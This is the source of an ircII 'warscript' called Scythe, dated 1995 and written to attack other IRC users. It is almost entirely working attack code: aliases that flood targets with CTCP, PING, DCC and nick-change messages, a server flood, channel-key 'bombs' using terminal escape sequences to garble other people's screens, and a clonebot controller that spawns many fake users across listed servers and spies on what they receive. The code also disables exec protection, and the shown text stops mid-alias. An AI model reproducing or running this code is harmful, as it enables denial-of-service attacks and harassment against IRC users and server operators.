# # - + Scythe IRC Warscript from Vassago Version C + - # - + Released March 25th, 1995 + - # # This is a standalone version of my original PHOENIX.WAR from PhoEniX # Version 2.01, with many enhancements added. It should work fine with # any script (I hope :). This script will work with all 2.2.9 IRCII # clients and ascending versions. Users of IRCII 2.3.17 and variations # may experience some problems using this script. Scythe may or may not # work correctly on VMS/VAX systems. This script has NO version message # additions, so the only person who knows you are running it will be you. # # Please do NOT use this script unless you get it directly from my # jcowan.reslife.okstate.edu FTP site. I only guarantee my scripts to be # free from backdoors IF THEY ARE DOWNLOADED DIRECTLY from this site. # # - Vassago (Ryan Addams) # [mordy@wentz415.reslife.okstate.edu] # alias sxecho {^xecho -level crap [S/X] $0-} echo [S/X] Loading Vassago's SCYTHE, one moment please... # Defaults for flash & nuke used in NUKE, FLASH, SNUKE, MASSFLASH, MFLASH. # If you want to specify a different directory for these, do so here. assign flash_pgm flash assign mflash_pgm mflash assign nuke_pgm nuke # Servers for use as RANDOM servers in the /CLONEBOTS CLONE command. # These should all allow connections from your host. assign CSERV[1] bazooka.rutgers.edu assign CSERV[2] irc.uiuc.edu assign CSERV[3] irc.escape.com assign CSERV[4] minnie.cc.utexas.edu assign CSERV[5] irc.indiana.edu assign CSERV[6] cs-pub.bu.edu assign CSERV[7] alfred1.u.washington.edu assign CSERV[8] organ.ctr.columbia.edu assign CSERV[9] irc.texas.net assign CSERV[10] irc-2.mit.edu @ cservnum = 11 ### Other Default Assigns assign CLONEUNAME NONE assign CLONEPORT 6667 assign CLONEWINDOW OFF assign TSU ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ assign RCRAPCRAP abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789a @ SERVCOUNT = 1 @ NUMCLONES = 0 alias randcrap { @ RCOUNTER = 1 while (RCOUNTER < [$0]) { @ RCOUNTER = RCOUNTER + 1 EVAL ^assign RCRAP $MID($rand(62) 1 $RCRAPCRAP)${RCRAP} } EVAL ^assign RCRAP $MID($rand(25) 1 $RCRAPCRAP)${RCRAP} ^assign FUNCTION_RETURN $RCRAP ^assign -RCRAP } alias repeatcmd { @ RCOUNT = 0 while (RCOUNT < [$0]) { @ RCOUNT = RCOUNT + 1 /$1- } ^assign -RCOUNT } ^set NOVICE OFF ^set EXEC_PROTECTION OFF on ^dcc_raw "*" # on ^dcc_raw "% % D *PIN*" {//^dcc raw $0 $1 PONG :$1} ### Miscellaneous Floods alias toolzbomb { quote PRIVMSG $0 :TOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZ quote PRIVMSG $0 :TOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZ quote PRIVMSG $0 :TOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZ quote PRIVMSG $0 :TOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZ quote PRIVMSG $0 :TOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZ /sxecho ToolZ bombed $0\, you might get a lot of replies. } alias multiflood { /quote PRIVMSG $0 :AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA /quote PRIVMSG $0 :USERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFO /quote PRIVMSG $0 :AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA /quote PRIVMSG $0 :USERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFO /quote PRIVMSG $0 :AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA /quote PRIVMSG $0 :SEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSED /quote PRIVMSG $0 :PINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPING /sxecho Multiple flooded $0\, you might get a lot of replies. } alias verflood { quote PRIVMSG $0 :VERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVER quote PRIVMSG $0 :VERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVER quote PRIVMSG $0 :VERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVER quote PRIVMSG $0 :VERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVER quote PRIVMSG $0 :VERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVER /sxecho VER flooded $0\, you might get a lot of replies. } alias pingflood { quote PRIVMSG $0 :PINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPING quote PRIVMSG $0 :PINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPING quote PRIVMSG $0 :PINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPING quote PRIVMSG $0 :PINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPING quote PRIVMSG $0 :PINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPING /sxecho PING flooded $0\, you might get a lot of replies. } alias pongflood { repeatcmd 4 EVAL /quote PONG $TSU :$0 sxecho PONG flood sent to $0\. } alias sedflood { quote PRIVMSG $0 :SEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSED quote PRIVMSG $0 :SEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSED quote PRIVMSG $0 :SEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSED quote PRIVMSG $0 :SEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSED quote PRIVMSG $0 :SEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSED /sxecho I have CTCP SED flooded $0\. } alias tsunami { EVAL repeatcmd 4 quote PRIVMSG $0 :$TSU sxecho I have tsunamied $0\. } alias dccbomb { quote PRIVMSG $0 :DCC SEND trsiult9_1.zip $rand(99999999) 19 6667 quote PRIVMSG $0 :DCC SEND trsiult9_2.zip $rand(99999999) 19 6667 quote PRIVMSG $0 :DCC SEND trsiult9_3.zip $rand(99999999) 19 6667 quote PRIVMSG $0 :DCC SEND trsiult9_4.zip $rand(99999999) 19 6667 quote PRIVMSG $0 :DCC SEND trsiult9_5.zip $rand(99999999) 19 6667 quote PRIVMSG $0 :DCC SEND trsiult9_6.zip $rand(99999999) 19 6667 quote PRIVMSG $0 :DCC SEND trsiult9_7.zip $rand(99999999) 19 6667 quote PRIVMSG $0 :DCC SEND trsiult9_8.zip $rand(99999999) 19 6667 quote PRIVMSG $0 :DCC SEND trsiult9_9.zip $rand(99999999) 19 6667 quote PRIVMSG $0 :DCC SEND trsiult9_10.zip $rand(99999999) 19 6667 /sxecho I have DCC autoget bombed $0\. } alias dccflood { quote PRIVMSG $0 :DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99) quote PRIVMSG $0 :DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99) quote PRIVMSG $0 :DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99) quote PRIVMSG $0 :DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99) quote PRIVMSG $0 :DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99) /sxecho I have DCC flooded $0\. } alias dcctsunami { quote PRIVMSG $0 :DCC SEND $TSU$rand(9) $rand(9) $rand(9) quote PRIVMSG $0 :DCC SEND $TSU$rand(9) $rand(9) $rand(9) quote PRIVMSG $0 :DCC SEND $TSU$rand(9) $rand(9) $rand(9) quote PRIVMSG $0 :DCC SEND $TSU$rand(9) $rand(9) $rand(9) sxecho A DCC TSUNAMI has been sent to $0\. } alias ctcpflood { /repeatcmd 18 CTCP $0 CLIENTINFOCLIENTINFO /sxecho CTCP CLIENTINFO flooded $0\, you might get a lot of replies. } alias nickflood { EVAL ^assign OLDNICK $N @ NFCOUNTER = 0 EVAL @ NFCOUNT = $0 while (NFCOUNTER < NFCOUNT) { @ NFCOUNTER = NFCOUNTER + 1 EVAL quote NICK $randcrap(9) } ^assign -NFCOUNT ^assign -NFCOUNTER EVAL //nick $OLDNICK ^assign -OLDNICK } alias servflood { if (rmatch($0 *.*)) { @ SFLOODC = 0 EVAL @ SFLOODMAX = $1 while (SFLOODC < SFLOODMAX) { @ SFLOODC = SFLOODC + 1 ^set display off EVAL ^assign SERVPID $connect($0 6667) ^set display on EVAL //^dcc raw $SERVPID $0 SERVER $TSU$TSU # # :$encode($rand(9999))$rand(9) //^dcc close raw $SERVPID } ^assign -SERVPID ^assign -SFLOODC ^assign -SFLOODMAX /sxecho Server flooded $0 $1 times. } {/sxecho /servflood .} } ### Channel Keybombs alias kdie //mode $C +k #8[?3\;5h\(0 alias kfont //mode $C +k \(0 alias kinvert //mode $C +k [?3\;5h alias ksz //mode $C +k **B00 alias kcls //mode $C +k  alias kfire //mode $C +k [41\;5mFIRE! alias ksatan //mode $C +k [41\;5m!!S4T4N!! alias kreset //mode $C +k  alias ktsunami //mode $C +k  ### Clonebot Control Handlers alias ck /clonebots kill all alias clone_window { if ([$CLONEWINDOW]!=[ON]) { ^assign CLONEWINDOW ON clear ^window new name Clones ^window scroll on ^window shrink 7 ^set hold_mode off ^window goto 2 cecho Clonebot control window has been activated. } { ^assign CLONEWINDOW OFF clear ^window refnum Clones wait -CMD window kill sxecho Clonebot control window has been deactivated. } } alias cecho {^xecho -window Clones [CLONES] $0-} alias cb.getcc { ^assign IN_CC1 $"[S/X] Number of clonebots to create: " if (IN_CC1 > 0) { ^assign IN_CC $IN_CC1 ^assign -IN_CC1 } {^cb.getcc} } alias cb { ^cb.getcc ^assign IN_CBSRV $"[S/X] Server to use (ENTER for random): " ^assign IN_CNICK $"[S/X] First part of clonebot nicks (ENTER for random):" ^assign IN_CUNAME $"[S/X] Username to TRY to signon under (ENTER for junk):" ^assign IN_CIRCNAME $"[S/X] Description (IRCNAME) (ENTER for none): " if ([$IN_CBSRV]==[]) {^assign IN_CBSRV random} if ([$IN_CNICK]==[]) {^assign IN_CNICK random} if ([$IN_CUNAME]==[]) {^assign CLONEUNAME NONE} {^assign CLONEUNAME $IN_CUNAME} /clonebots clone $IN_CC $IN_CBSRV $IN_CNICK $IN_CIRCNAME ^assign CLONEUNAME NONE ^assign -IN_CC ^assign -IN_CBSRV ^assign -IN_CNICK ^assign -IN_CIRCNAME ^assign -IN_CUNAME } alias clonhelp { sxecho +----------------+ Scythe Clonebots Generator Help +----------------+ sxecho /clonebots , where command is: sxecho clone [] sxecho status, kill , whois sxecho CLONE creates new clonebots on . Substituting sxecho 'random' for the server name causes the servers to be chosen from sxecho CSERV array at the start of the script. Edit this array if you want sxecho to change the choices. Substituting 'random' for the nick-prefix sxecho causes the bots to have random garbage nick. sxecho STATUS displays the bots online, their servers, sockets, etc. sxecho KILL disconnects a clonebot. Kill 'all' disconnects all clonebots sxecho and resets the clonebot counter. sxecho WHOIS displays information about one of your bots from it's nick. sxecho Type '/assign CLONEUNAME ' to set a special username for sxecho the clonebots to signon under (setting to NONE defaults to random). sxecho '/assign CLONEPORT ' sets the port, default is 6667. sxecho /CB provides a user-friendly prompted interface to this command. sxecho /CK is a shortcut to /clonebots kill all. sxecho To control the clonebots, use the /CLONE command. sxecho +-------------------------------------------------------------------+ } on ^dcc_raw "% % C*" { if ([$CLONESOCKET[$CLONENUM[$0]]] == [$0]) { cecho Clonebot #$CLONENUM[$0] \($CLONENICKS[$CLONENUM[$0]]\) has been disconnected by server $1. ^assign -CLONES[$CLONENUM[$0]] ^assign -CLONESOCKET[$CLONENUM[$0]] ^assign -CLONESERV[$CLONENUM[$0]] ^assign -CLONENICKS[$CLONENUM[$0]] ^assign -CLONESPY[$CLONENUM[$0]] EVAL ^on dcc_raw - "$0 $1 D *" ^assign -CLONENUM[$0] } } alias cspyadd { if ([$index($1 $CLONESPY[$0])]==-1) {^assign CLONESPY[$0] $1${CLONESPY[$0]}} } alias cspyrm {/EVAL ^assign CLONESPY[$0] $strip($1 $CLONESPY[$0])} alias clonespyset { if ([$CLONES[$0]] == [ONLINE]) { if (rmatch($1 PU*)) {^cspyadd $0 P} if (rmatch($1 -PU*)) {^cspyrm $0 P} if (rmatch($1 PR*)) {^cspyadd $0 R} if (rmatch($1 -PR*)) {^cspyrm $0 R} if (rmatch($1 NO*)) {^cspyadd $0 N} if (rmatch($1 -NO*)) {^cspyrm $0 N} if (rmatch($1 MO*)) {^cspyadd $0 O} if (rmatch($1 -MO*)) {^cspyrm $0 O} if (rmatch($1 K*)) {^cspyadd $0 K} if (rmatch($1 -K*)) {^cspyrm $0 K} if (rmatch($1 J*)) {^cspyadd $0 J} if (rmatch($1 -J*)) {^cspyrm $0 J} if (rmatch($1 NI*)) {^cspyadd $0 I} if (rmatch($1 -NI*)) {^cspyrm $0 I} if (rmatch($1 MI*)) {^cspyadd $0 M} if (rmatch($1 -MI*)) {^cspyrm $0 M} if (rmatch($1 C*)) {^cspyadd $0 C} if (rmatch($1 -C*)) {^cspyrm $0 C} } {/cecho Error: Clone #$0, no such clone.} } alias cspylevs { if ([$CLONESPY[$0]] == [_]) {^assign FUNCTION_RETURN NONE} { if (index(M $CLONESPY[$0]) != -1) {^assign SLEVS MISC ${SLEVS}} if (index(I $CLONESPY[$0]) != -1) {^assign SLEVS NICK ${SLEVS}} if (index(J $CLONESPY[$0]) != -1) {^assign SLEVS JOIN/LEAVE/SIGNOFF ${SLEVS}} if (index(K $CLONESPY[$0]) != -1) {^assign SLEVS KICK ${SLEVS}} if (index(O $CLONESPY[$0]) != -1) {^assign SLEVS MODE ${SLEVS}} if (index(N $CLONESPY[$0]) != -1) {^assign SLEVS NOTICE ${SLEVS}} if (index(R $CLONESPY[$0]) != -1) {^assign SLEVS PRIVATE ${SLEVS}} if (index(P $CLONESPY[$0]) != -1) {^assign SLEVS PUBLIC ${SLEVS}} if (index(C $CLONESPY[$0]) != -1) {^assign SLEVS CTCP ${SLEVS}} ^assign FUNCTION_RETURN $SLEVS ^assign -SLEVS } } alias cshelp { sxecho +-----------+ Scythe DCC RAW Clonebot Spy Controller +-----------+ sxecho Usage: /clonespy , or sxecho /clonespy to see status. sxecho Levels: ALL(sets all levels) PUblic PRivate NOtice MOde Kick sxecho Join/leave/signoff NIck MIsc Ctcp NONE \(removes all levels\) sxecho Only the letters shown capitalized are necessary. adds a sxecho level, - removes. sxecho The Misc level is for anything significant that isn't covered by sxecho the other levels. Right now this is only used for who lists. sxecho /clone who #channel' will get you a who list if you sxecho have Misc set. sxecho Be careful when flooding with spy modes set, or the clones may sxecho report the flood right back to you. sxecho +------------------------------------------------------------------+ } alias clonespy { if ([$0]) { if ([$0] == [ALL]) {/foreach CLONES VV {/clonespy $VV $1-}} { if ([$CLONES[$0]] == [ONLINE]) { if ([$1] == [ALL]) { ^assign CLONESPY[$0] PRNOKJIMC EVAL ^on ^dcc_raw "$CLONESOCKET[$0] $CLONESERV[$0] D *" {/clonespyparse $0-} } { if ([$1] == [NONE]) { ^assign CLONESPY[$0] _ EVAL ^on dcc_raw - "$CLONESOCKET[$0] $CLONESERV[$0] D *" } { ^clonespyset $0 $1 EVAL ^on ^dcc_raw "$CLONESOCKET[$0] $CLONESERV[$0] D *" {/clonespyparse $0-} } } /cecho Clone #$0 spy levels now: $cspylevs($0) } {/cecho Error: Clone #$0, no such clone.} } } {/cshelp} if ([$2]) {/clonespy $0 $2-} } alias clonespyparse.messageparse { if ([$4] == [PRIVMSG]) { if (rmatch($6- **)) { if (index(C $CLONESPY[$CN]) != -1) {/xecho -window Clones [${CN}:${CLONENICKS[$CN]}] CTCP "$strip(: $6-)" from $nickonly($strip(: $3)) to $5} } { if (rmatch($5 #*)) { if (index(P $CLONESPY[$CN]) != -1) {/xecho -window Clones [${CN}:${CLONENICKS[$CN]}] <$nickonly($strip(: $3)):$5> $strip(: $6-)} } { if (index(R $CLONESPY[$CN]) != -1) {/xecho -window Clones [${CN}:${CLONENICKS[$CN]}] *$nickonly($strip(: $3))* $strip(: $6-)} } } } if ([$4] == [NOTICE]) { if (rmatch($6- **)) { if (index(C $CLONESPY[$CN]) != -1) {/xecho -window Clones [${CN}:${CLONENICKS[$CN]}] CTCP "$strip(: $6-)" reply from $nickonly($strip(: $3))} } { if (rmatch($5 #*)) { if (index(P $CLONESPY[$CN]) != -1) {/xecho -window Clones [${CN}:${CLONENICKS[$CN]}] -$nickonly($strip(: $3)):$5\- $strip(: $6-)} } { if (index(N $CLONESPY[$CN]) != -1) {/xecho -window Clones [${CN}:${CLONENICKS[$CN]}] -$nickonly($strip(: $3))- $strip(: $6-)} } } } } alias clonespyparse { if ([$CLONES[$CLONENUM[$0]]] == [ONLINE]) { EVAL @ CN = $CLONENUM[$0] if (rmatch($3 *PING*)) {//^dcc raw $0 $1 PONG :$CLONESERV[$CN]} ^clonespyparse.messageparse $0- if ((index(I $CLONESPY[$CN]) != -1)&&([$4] == [NICK])) {/xecho -window Clones [${CN}:${CLONENICKS[$CN]}] $nickonly($strip(: $3)) is now known as $strip(: $5)} if (([$4] == [JOIN])&&(index(J $CLONESPY[$CN]) != -1)) {/xecho -window Clones [${CN}:${CLONENICKS[$CN]}] $strip(: $3) has joined channel $strip(: $5)} if (([$4] == [MODE])&&(index(O $CLONESPY[$CN]) != -1)) {/xecho -window Clones [${CN}:${CLONENICKS[$CN]}] Mode change "$strip(: $6-)" on channel $5 by $nickonly($strip(: $3))} if (([$4] == [QUIT])&&(index(J $CLONESPY[$CN]) != -1)) {/xecho -window Clones [${CN}:${CLONENICKS[$CN]}] Signoff: $nickonly($strip(: $3)) \($strip(: $5-)\)} if (([$4] == [PART])&&(index(J $CLONESPY[$CN]) != -1)) {/xecho -window Clones [${CN}:${CLONENICKS[$CN]}] $nickonly($strip(: $3)) has left channel $strip(: $5)} if (([$4] == [KICK])&&(index(K $CLONESPY[$CN]) != -1)) { if ([$6] == [$CLONENICKS[$CN]]) {/xecho -window Clones [${CN}:${CLONENICKS[$CN]}] $6 has been kicked off channel $5 by $nickonly($strip(: $3)) \($strip(: $7-)\)} {/xecho -window Clones [${CN}:${CLONENICKS[$CN]}] $6 has been kicked off channel $5 by $nickonly($strip(: $3)) \($strip(: $7-)\)} } if (([$4] == [352])&&(index(M $CLONESPY[$CN]) != -1)) {/xecho -window Clones [${CN}:${CLONENICKS[$CN]}] $6 $10 $11 $7@$8 \($strip( $13-)\)} ^assign -CN } } alias killclone { if ([$CLONES[$0]] == [ONLINE]) { //^dcc close raw $CLONESOCKET[$0] cecho Clonebot #$0 \($CLONENICKS[$0]\) disconnected. EVAL ^on dcc_raw - "$CLONESOCKET[$0] $CLONESERV[$0] D *" EVAL ^assign -CLONENUM[$CLONESOCKET[$0]] ^assign -CLONESOCKET[$0] ^assign -CLONESERV[$0] ^assign -CLONES[$0] ^assign -CLONENICKS[$0] ^assign -CLONESPY[$0] } {/cecho Error: Clone #$0, no such clone.} } alias clonesend { if ([$CLONES[$0]] == [ONLINE]) {//^dcc raw $CLONESOCKET[$0] $CLONESERV[$0] $1-} {/cecho Error: Clone #$0, no such clone.} } alias clonenick { if ([$CLONES[$0]] == [ONLINE]) { //^dcc raw $CLONESOCKET[$0] $CLONESERV[$0] NICK $1 ^assign CLONENICKS[$0] $1 } {/cecho Error: Clone #$0, no such clone.} } alias incserv { @ SERVCOUNT = SERVCOUNT + 1 if (!rmatch($CSERV[$SERVCOUNT] *.*)) {/EVAL @ SERVCOUNT = 1} } alias newclone { ^set display off if ([$0] == [RANDOM]) { /EVAL ^assign CSRV $CSERV[$SERVCOUNT] ^incserv } {/EVAL ^assign CSRV $0} EVAL ^assign CLONESOCKET[${NUMCLONES+1}] $connect($CSRV $CLONEPORT) ^set display on if ([$CLONESOCKET[${NUMCLONES+1}]] > 0) { @ NUMCLONES = NUMCLONES + 1 EVAL ^assign CLONESERV[$NUMCLONES] $CSRV if ([$CLONEUNAME] == [NONE]) {/EVAL ^assign CUN $randcrap(8)} {/EVAL ^assign CUN $CLONEUNAME} if ([$2]) {//^dcc raw $CLONESOCKET[$NUMCLONES] $CSRV USER $CUN $HOSTROOT $CSRV :$2-} {//^dcc raw $CLONESOCKET[$NUMCLONES] $CSRV USER $CUN $HOSTROOT $CSRV :$randcrap($rand(8)) $randcrap($rand(8))} if ([$1]) { if ([$1] == [RANDOM]) { EVAL ^assign JUNK2 $rand(3) if ([$JUNK2] == 0) {/EVAL ^assign CNICK $randcrap(9)} if ([$JUNK2] == 1) {/EVAL ^assign CNICK $randcrap(7)} if ([$JUNK2] == 2) {/EVAL ^assign CNICK $randcrap(5)} if ([$JUNK2] == 3) {/EVAL ^assign CNICK $randcrap(4)} ^assign -JUNK2 } {/EVAL ^assign CNICK $randcrap(1)$NUMCLONES$1} } {/EVAL ^assign CNICK $randcrap(9)} //^dcc raw $CLONESOCKET[$NUMCLONES] $CSRV NICK $CNICK //^dcc raw $CLONESOCKET[$NUMCLONES] $CSRV MODE $CNICK +i ^assign CLONENICKS[$NUMCLONES] $CNICK ^assign CLONES[$NUMCLONES] ONLINE ^assign CLONESPY[$NUMCLONES] _ EVAL @ CLONENUM[$CLONESOCKET[$NUMCLONES]] = $NUMCLONES EVAL cecho Clone #$NUMCLONES on $CSRV\ \($CNICK\) created. ^assign -CNICK ^assign -CUN } { cecho Clonebot connection to ${CSRV} failed. ^assign -CLONESOCKET[${NUMCLONES+1}] } ^assign -CSRV } alias clonewhois { ^assign FOUNDIT NO foreach CLONES XX { if ([$0] == [$CLONENICKS[$XX]]) { ^assign FOUNDIT YES cecho $0 is clonebot #$XX\, socket $CLONESOCKET[$XX]\ on server $CLONESERV[$XX]\ } } if ([$FOUNDIT] != [YES]) {/cecho Error: $0, no such clone.} ^assign -FOUNDIT } alias clonedoaction { if ([$1] == [JOIN]) { if ([$2]) { if (ischannel($2)) {/clonesend $0 JOIN $2-} {/clonesend $0 JOIN #$2-} } {/clonesend $0 JOIN $C} } if ([$1] == [LEAVE]) { if ([$2]) { if (ischannel($2)) {/clonesend $0 PART $2-} {/clonesend $0 PART #$2-} } {/clonesend $0 PART $C} } if ([$1] == [MODE]) {/clonesend $0 MODE $2 $3-} if ([$1] == [KICK]) {/clonesend $0 KICK $2 $3 :$4-} if ([$1] == [MSG]) {/clonesend $0 PRIVMSG $2 :$3-} if ([$1] == [SAY]) {/clonesend $0 PRIVMSG $C :$2-} if ([$1] == [WHO]) { if ([$2]) { if (ischannel($2)) {/clonesend $0 WHO $2-} {/clonesend $0 WHO #$2-} } {/clonesend $0 WHO $C} } if ([$1] == [CTCP]) {/clonesend $0 PRIVMSG $2 :$3-} if ([$1] == [ME]) {/clonesend $0 PRIVMSG $2 :ACTION $3-} if ([$1] == [NICK]) {/clonenick $0 $2} if ([$1] == [INVITE]) {/clonesend $0 INVITE $2 $3} if ([$1] == [NICKPREFIX]) {/clonenick $0 $2$0} if ([$1] == [TSUNAMI]) {/repeatcmd 4 clonesend $0 NOTICE $2 :$TSU} if ([$1] == [DCCTSUNAMI]) { clonesend $0 PRIVMSG $2 :DCC SEND $TSU$rand(9) $rand(9) $rand(9) clonesend $0 PRIVMSG $2 :DCC SEND $TSU$rand(9) $rand(9) $rand(9) clonesend $0 PRIVMSG $2 :DCC SEND $TSU$rand(9) $rand(9) $rand(9) clonesend $0 PRIVMSG $2 :DCC SEND $TSU$rand(9) $rand(9) $rand(9) } if ([$1] == [PONGFLOOD]) {/repeatcmd 4 EVAL /clonesend $0 PONG $TSU :$2} if ([$1] == [DCCFLOOD]) { clonesend $0 PRIVMSG $2 :DCC CHAT $rand(9999) $rand(9) $rand(9) $rand(9)DCC CHAT $rand(9999) $rand(9) $rand(9) $rand(9)DCC CHAT $rand(9999) $rand(9) $rand(9) $rand(9)DCC CHAT $rand(9999) $rand(9) $rand(9) $rand(9)DCC CHAT $rand(9999) $rand(9) $rand(9) $rand(9)DCC CHAT $rand(9999) $rand(9) $rand(9) $rand(9) clonesend $0 PRIVMSG $2 :DCC CHAT $rand(9999) $rand(9) $rand(9) $rand(9)DCC CHAT $rand(9999) $rand(9) $rand(9) $rand(9)DCC CHAT $rand(9999) $rand(9) $rand(9) $rand(9)DCC CHAT $rand(9999) $rand(9) $rand(9) $rand(9)DCC CHAT $rand(9999) $rand(9) $rand(9) $rand(9)DCC CHAT $rand(9999) $rand(9) $rand(9) $rand(9) clonesend $0 PRIVMSG $2 :DCC CHAT $rand(9999) $rand(9) $rand(9) $rand(9)DCC CHAT $rand(9999) $rand(9) $rand(9) 